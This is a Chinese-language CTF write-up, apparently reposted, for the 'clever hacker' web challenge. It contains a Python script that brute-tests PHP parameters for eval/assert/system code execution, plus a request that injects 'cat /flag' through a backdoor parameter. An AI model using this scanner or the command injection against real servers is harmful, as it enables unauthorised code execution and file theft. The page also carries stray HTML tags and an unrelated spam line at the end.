<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    高明的黑客

    知識點:代碼審計,動態測試

    步驟:

    1.打開靶機,是這樣一個頁面。

    2.那就下載源碼吧。

    下載

    3.來看看,發現大部分文件都是一些垃圾代碼,難以解讀。

    但有些地方是能看的,比如

    前頭賦值,神仙難救。

    神仙難救。

    神仙難救。

    4.但總有些地方可用的,來寫個腳本批量掃描一下 _GET 和 _POST,給他們傳一些特定的代碼(比如 echo(“glzjin”); /echo(“glzjin”) / echo glzjin,eval,assert,system 函數需要分別處理,一個文件需要用幾種姿勢多測幾次)看看能執行不,能執行返回這種特定的字符串就說明此處可用。

    Python 腳本如下:

    import os
    import threading
    from concurrent.futures.thread import ThreadPoolExecutor
    
    import requests
    
    session = requests.Session()
    
    path = "/Users/jinzhao/PhpstormProjects/qwb/web2/"  # 文件夾目錄
    files = os.listdir(path)  # 得到文件夾下的所有文件名稱
    
    mutex = threading.Lock()
    pool = ThreadPoolExecutor(max_workers=50)
    
    def read_file(file):
        f = open(path + "/" + file);  # 打開文件
        iter_f = iter(f);  # 創建迭代器
        str = ""
        for line in iter_f:  # 遍歷文件,一行行遍歷,讀取文本
            str = str + line
    
        # 獲取一個頁面內所有參數
        start = 0
        params = {}
        while str.find("$_GET['", start) != -1:
            pos2 = str.find("']", str.find("$_GET['", start) + 1)
            var = str[str.find("$_GET['", start) + 7: pos2]
            start = pos2 + 1
    
            params[var] = 'echo("glzjin");'
    
            # print(var)
    
        start = 0
        data = {}
        while str.find("$_POST['", start) != -1:
            pos2 = str.find("']", str.find("$_POST['", start) + 1)
            var = str[str.find("$_POST['", start) + 8: pos2]
            start = pos2 + 1
    
            data[var] = 'echo("glzjin");'
    
            # print(var)
    
        # eval test
        r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
        if r.text.find('glzjin') != -1:
            mutex.acquire()
            print(file + " found!")
            mutex.release()
    
        # assert test
        for i in params:
            params[i] = params[i][:-1]
    
        for i in data:
            data[i] = data[i][:-1]
    
        r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
        if r.text.find('glzjin') != -1:
            mutex.acquire()
            print(file + " found!")
            mutex.release()
    
        # system test
        for i in params:
            params[i] = 'echo glzjin'
    
        for i in data:
            data[i] = 'echo glzjin'
    
        r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
        if r.text.find('glzjin') != -1:
            mutex.acquire()
            print(file + " found!")
            mutex.release()
    
        # print("====================")
    
    for file in files:  # 遍歷文件夾
        if not os.path.isdir(file):  # 判斷是否是文件夾,不是文件夾才打開
            # read_file(file)
    
            pool.submit(read_file, file)
    

    5.然后在本地開個 PHP 服務器。

    /usr/bin/php -S localhost:11180 -t /Users/jinzhao/PhpstormProjects/qwb

    6.運行腳本,開掃,掃到一個咯~

    7.去這個文件里看看。這一段是關鍵,拼接了一個 System 出來調用 Efa5BVG 這個參數。

    8.OK,那么就來試試讀取 flag 吧。訪問 /xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

    1. Flag 到手~

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类